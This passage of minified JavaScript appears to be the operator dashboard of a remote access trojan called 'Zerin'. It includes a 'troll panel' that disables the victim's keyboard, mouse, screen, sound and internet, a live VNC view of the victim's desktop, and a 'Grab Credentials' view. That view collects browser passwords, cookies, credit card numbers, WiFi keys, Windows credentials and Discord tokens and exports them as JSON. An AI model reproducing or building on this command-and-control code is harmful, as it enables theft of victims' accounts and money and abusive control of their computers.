de)g.current.push(ge)}).catch(()=>{j.current=!1})}}}else{q.dirtyTiles=0,q.totalTiles=0,a.current&&URL.revokeObjectURL(a.current);const Q=new Uint8Array(X.data,13),ue=new Blob([Q],{type:"image/jpeg"}),A=URL.createObjectURL(ue);a.current=A,m.current(A,ne,me)}},E.onclose=()=>{l(!1),i.current=null,F(),G(),oe(),r==null||r()},E.onerror=()=>{E.close()}},[e,t,r,U,F,H,G,re,oe]),pe=p.useCallback(()=>{i.current&&(i.current.close(),i.current=null),a.current&&(URL.revokeObjectURL(a.current),a.current=null),F(),G(),oe(),l(!1)},[F,G,oe]);return p.useEffect(()=>()=>{i.current&&(i.current.close(),i.current=null),a.current&&URL.revokeObjectURL(a.current),F(),G(),oe()},[F,G,oe]),{isConnected:o,stats:c,controls:B,connect:he,disconnect:pe}}function OU({agentId:e}){const t=p.useRef(null),n=p.useRef(null),[r,i]=p.useState(!1),a=p.useRef(!1),[o,l]=p.useState({w:0,h:0}),[c,u]=p.useState(!0),[d,f]=p.useState(null),[m,h]=p.useState(!1),[x,g]=p.useState("Zerin"),[y,v]=p.useState(""),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,O]=p.useState("https://"),[_,T]=p.useState(!1),[P,R]=p.useState(""),[V,$]=p.useState(!1),[L,W]=p.useState(!1),[B,U]=p.useState(!1),[F,H]=p.useState(!1),[G,re]=p.useState(!1),[oe,he]=p.useState(!1),pe=(J,le="ok")=>{f({text:J,type:le}),setTimeout(()=>f(null),2500)},Y=p.useCallback((J,le,q)=>{a.current||(a.current=!0,i(!0)),l({w:le,h:q});const Q=t.current;if(!Q)return;const ue=Q.getContext("2d");if(ue)if((Q.width!==le||Q.height!==q)&&(Q.width=le,Q.height=q),typeof J=="string"){const A=n.current||new Image;n.current=A,A.onload=()=>ue.drawImage(A,0,0),A.src=J}else J instanceof ImageBitmap?(ue.drawImage(J,0,0),J.close()):ue.drawImage(J,0,0)},[]),{isConnected:ee,stats:C,connect:E}=cv({agentId:e,onFrame:Y}),[X,I]=p.useState(!1);p.useEffect(()=>{!e||!X||mx(e).then(()=>E()).catch(()=>{E()})},[e,E,X]);const ne=async(J,le)=>{try{await Ce(e,{command:J,args:le}),pe(`Sent: ${J}`)}catch{pe(`Failed: ${J}`,"err")}},me=()=>{const J=!c;u(J),ne("troll_taskbar",[J?"show":"hide"])},ve=(J,le,q)=>{const Q=!J;le(Q),ne(q,[Q?"on":"off"])},Ee=()=>{y.trim()&&(ne("troll_msgbox",[y,x||"Zerin"]),h(!1),v(""),g("Zerin"))},D=()=>{j.trim()&&(ne("troll_tts",[j]),w(!1),k(""))},ce=()=>{if(!(!z.trim()||z==="https://")){if(!/^https?:\/\//i.test(z)){pe("URL must start with http:// or https://","err");return}ne("troll_website",[z]),N(!1),O("https://")}},K=()=>{P.trim()&&(ne("troll_wallpaper",[P]),T(!1),R(""))};return s.jsxs("div",{className:"flex flex-col h-full overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-3 px-5 py-2.5 shrink-0 border-b border-[#1a1a20]",style:{background:"linear-gradient(180deg, #111115 0%, #0d0d11 100%)"},children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:"w-5 h-5 flex items-center justify-center",style:{background:"rgba(239, 68, 68, 0.1)",border:"1px solid rgba(239, 68, 68, 0.2)"},children:s.jsxs("svg",{className:"w-3 h-3",viewBox:"0 0 24 24",fill:"none",stroke:"#ef4444",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.362 5.214A8.252 8.252 0 0112 21 8.25 8.25 0 016.038 7.048 8.287 8.287 0 009 9.6a8.983 8.983 0 013.361-6.867 8.21 8.21 0 003 2.48z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18a3.75 3.75 0 00.495-7.467 5.99 5.99 0 00-1.925 3.546 5.974 5.974 0 01-2.133-1A3.75 3.75 0 0012 18z"})]})}),s.jsx("span",{className:"font-display text-sm font-semibold tracking-wide text-[#ef4444]/80",children:"TROLL PANEL"})]}),s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:ee&&r?"#22C55E":ee?"#eab308":"#ef4444",boxShadow:ee?"0 0 6px rgba(34,197,94,0.4)":"none"}}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:ee&&r?"LIVE":ee?"BUFFERING":"CONNECTING"})]}),ee&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[s.jsx("span",{className:"text-zerin-accent",children:C.fps})," FPS"]}),o.w>0&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[o.w,"×",o.h]})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40",children:"VIEW ONLY"})]}),s.jsxs("div",{className:"flex flex-1 min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"w-[200px] shrink-0 flex flex-col border-r border-[#1a1a20] overflow-y-auto",style:{background:"#0b0b0f"},children:[s.jsx("div",{className:"px-3 pt-3 pb-2",children:s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase",children:"Actions"})}),s.jsxs("div",{className:"flex flex-col gap-1 px-2 pb-3",children:[s.jsx(Is,{icon:s.jsx(TU,{}),label:"Message Box",desc:"Pop up a dialog",color:"#f59e0b",onClick:()=>h(!0)}),s.jsx(Is,{icon:s.jsx(MU,{}),label:"Text to Speech",desc:"Read text aloud",color:"#8b5cf6",onClick:()=>w(!0)}),s.jsx(Is,{icon:s.jsx(LU,{}),label:"Open Website",desc:"Launch a URL",color:"#06b6d4",onClick:()=>N(!0)}),s.jsx(Is,{icon:s.jsx(IU,{}),label:"Wallpaper",desc:"Change background",color:"#10b981",onClick:()=>T(!0)}),s.jsx(Is,{icon:s.jsx(DU,{}),label:"CD Tray",desc:"Eject disc drive",color:"#ec4899",onClick:()=>ne("troll_cd_tray")})]}),s.jsxs("div",{className:"border-t border-[#1a1a20] px-3 py-3",children:[s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase block mb-2.5",children:"Toggles"}),s.jsxs("div",{className:"flex flex-col gap-2",children:[s.jsx(Ni,{label:"Taskbar",active:c,color:"#06b6d4",onToggle:me}),s.jsx(Ni,{label:"Swap Mouse",active:V,color:"#f59e0b",onToggle:()=>ve(V,$,"troll_swapmouse"),invert:!0}),s.jsx(Ni,{label:"Sound",active:!L,color:"#8b5cf6",onToggle:()=>ve(L,W,"troll_disablesound")}),s.jsx(Ni,{label:"Screen",active:!B,color:"#ef4444",onToggle:()=>ve(B,U,"troll_blackscreen")}),s.jsx(Ni,{label:"Keyboard",active:!F,color:"#10b981",onToggle:()=>ve(F,H,"troll_disablekeyboard")}),s.jsx(Ni,{label:"Mouse",active:!G,color:"#ec4899",onToggle:()=>ve(G,re,"troll_disablemouse")}),s.jsx(Ni,{label:"Internet",active:!oe,color:"#06b6d4",onToggle:()=>ve(oe,he,"troll_reroutesites")})]})]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center relative overflow-hidden",style:{background:"#08080a"},children:[s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03] z-10",style:{backgroundImage:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.03) 4px)"}}),ee&&r?s.jsx("canvas",{ref:t,className:"max-w-full max-h-full",style:{cursor:"default",aspectRatio:o.w>0?`${o.w}/${o.h}`:void 0,filter:"brightness(0.95)"}}):X?s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-16 h-16 rounded-full border-2 animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.1)",borderTopColor:"rgba(6, 182, 212, 0.6)"}}),s.jsx("div",{className:"absolute inset-0 flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-accent/40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})})]}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:ee?"Waiting for frame...":"Connecting to desktop..."}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted",children:"View-only stream for live trolling"})]})]}):s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsx("div",{className:"w-16 h-16 flex items-center justify-center",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:s.jsx("svg",{className:"w-7 h-7 text-zerin-accent/60",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:"Connect to live desktop view?"}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mb-4",children:"This will start a VNC session to stream the agent's screen"}),s.jsx("button",{onClick:()=>I(!0),className:"px-4 py-2 text-xs font-semibold text-white transition-all",style:{background:"#06b6d4",boxShadow:"0 0 12px rgba(6,182,212,0.3)"},children:"Connect VNC"})]})]}),d&&s.jsx("div",{className:"absolute bottom-4 left-1/2 -translate-x-1/2 z-20 px-4 py-2 font-mono text-xs animate-fade-in",style:{background:"#111115",border:`1px solid ${d.type==="err"?"rgba(239,68,68,0.3)":"rgba(6,182,212,0.25)"}`,color:d.type==="err"?"#ef4444":"#06b6d4"},children:d.text})]})]}),m&&s.jsxs(Hl,{title:"Message Box",color:"#f59e0b",onClose:()=>h(!1),children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TITLE"}),s.jsx("input",{type:"text",value:x,onChange:J=>g(J.target.value),placeholder:"Window title...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),s.jsx("textarea",{value:y,onChange:J=>v(J.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),s.jsx(Kl,{onCancel:()=>h(!1),onSend:Ee,color:"#f59e0b",disabled:!y.trim()})]}),b&&s.jsxs(Hl,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),s.jsx("textarea",{value:j,onChange:J=>k(J.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Kl,{onCancel:()=>w(!1),onSend:D,color:"#8b5cf6",disabled:!j.trim()})]}),S&&s.jsxs(Hl,{title:"Open Website",color:"#06b6d4",onClose:()=>N(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"URL"}),s.jsx("input",{type:"text",value:z,onChange:J=>O(J.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),s.jsx(Kl,{onCancel:()=>N(!1),onSend:ce,color:"#06b6d4",disabled:!z.trim()||z==="https://"})]}),_&&s.jsxs(Hl,{title:"Change Wallpaper",color:"#10b981",onClose:()=>T(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),s.jsx("input",{type:"text",value:P,onChange:J=>R(J.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Kl,{onCancel:()=>T(!1),onSend:K,color:"#10b981",disabled:!P.trim()})]})]})}function Is({icon:e,label:t,desc:n,color:r,onClick:i}){return s.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:a=>{a.currentTarget.style.background=`${r}08`,a.currentTarget.style.borderLeft=`2px solid ${r}40`,a.currentTarget.style.paddingLeft="10px"},onMouseLeave:a=>{a.currentTarget.style.background="transparent",a.currentTarget.style.borderLeft="none",a.currentTarget.style.paddingLeft="12px"},children:[s.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:s.jsx("div",{style:{color:`${r}cc`},children:e})}),s.jsxs("div",{className:"min-w-0",children:[s.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),s.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function Hl({title:e,color:t,onClose:n,children:r}){return s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:s.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[s.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),s.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),s.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function Kl({onCancel:e,onSend:t,color:n,disabled:r}){return s.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[s.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r + hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r + disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function Ni({label:e,active:t,color:n,onToggle:r,invert:i}){const a=t;return s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),s.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:a?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${a?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:s.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:a?"18px":"2px",background:a?n:"#ef4444",boxShadow:`0 0 6px ${a?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function TU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function MU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function LU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function IU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function DU(){return s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[s.jsx("circle",{cx:"12",cy:"12",r:"9"}),s.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function RU({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var w,j,k,S,N,z,O,_,T,P,R,V,$,L,W,B,U,F,H,G,re,oe,he,pe,Y,ee,C;const[i,a]=p.useState(null),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(new Set),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=p.useRef(!1);p.useEffect(()=>{n&&!x.current&&!m&&(x.current=!0,y(),r==null||r())},[n]);const g=E=>{f(X=>{const I=new Set(X);return I.has(E)?I.delete(E):I.add(E),I})},y=p.useCallback(async()=>{if(!m){l(!0),u(""),a(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:E}=await Ce(e,{command:"creds"});let X=0;h.current=setInterval(async()=>{var I,ne,me,ve,Ee,D;X++;try{const K=(I=(await Rn(e)).results)==null?void 0:I.find(J=>J.task_id===E);if(K){if(h.current&&clearInterval(h.current),h.current=null,l(!1),K.error){u(K.error);return}if(K.output)try{const J=JSON.parse(K.output);a(J);const le=new Set;(ne=J.chrome_passwords)!=null&&ne.length&&le.add("chrome_passwords"),(me=J.firefox_passwords)!=null&&me.length&&le.add("firefox_passwords"),(ve=J.wifi)!=null&&ve.length&&le.add("wifi"),(Ee=J.windows_credentials)!=null&&Ee.length&&le.add("windows_credentials"),(D=J.discord_tokens)!=null&&D.length&&le.add("discord_tokens"),f(le)}catch{u("Failed to parse credential data")}}else X>=60&&(h.current&&clearInterval(h.current),h.current=null,l(!1),u("Timed out waiting for results"))}catch{}},3e3)}catch(E){l(!1),u(E instanceof Error?E.message:"Failed to submit task")}}},[e,m]),v=E=>{navigator.clipboard.writeText(E).catch(()=>{})},b=()=>{if(!i)return;const E=new Blob([JSON.stringify(i,null,2)],{type:"application/json"}),X=URL.createObjectURL(E),I=document.createElement("a");I.href=X,I.download=`credentials_${e.slice(0,8)}.json`,I.click(),URL.revokeObjectURL(X)};return s.jsxs("div",{className:"p-6 animate-fade-in space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:y,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium\r + bg-zerin-accent hover:bg-zerin-accent-hover text-white\r + px-4 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:o?s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):s.jsxs(s.Fragment,{children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&s.jsxs("button",{onClick:b,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&s.jsxs("div",{className:"space-y-2",children:[s.jsx($r,{title:"Browser Passwords",count:(((w=i.chrome_passwords)==null?void 0:w.length)??0)+(((j=i.firefox_passwords)==null?void 0:j.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:E.browser??"Firefox"}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:E.url}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.username),children:E.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.password),children:E.password?"••••••••":""})]},X))})]})}),s.jsx($r,{title:"Browser Cookies",count:((k=i.chrome_cookies)==null?void 0:k.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(S=i.chrome_cookies)!=null&&S.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:E.browser}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:E.host}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:E.name}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.value),children:[E.value.slice(0,40),"..."]})]},X))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),s.jsx($r,{title:"Credit Cards",count:((N=i.chrome_cards)==null?void 0:N.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(z=i.chrome_cards)!=null&&z.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cards.map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:E.browser}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:E.name}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.number),children:E.number}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:E.exp})]},X))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),s.jsx($r,{title:"WiFi Passwords",count:((O=i.wifi)==null?void 0:O.length)??0,expanded:d.has("wifi"),onToggle:()=>g("wifi"),children:(_=i.wifi)!=null&&_.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.wifi.map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:E.ssid}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:E.auth}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.password),children:E.password||"(none)"})]},X))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),s.jsx($r,{title:"Windows Credentials",count:((T=i.windows_credentials)==null?void 0:T.length)??0,expanded:d.has("windows_credentials"),onToggle:()=>g("windows_credentials"),children:(P=i.windows_credentials)!=null&&P.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),s.jsx("th",{className:"text-left px-4 py-2 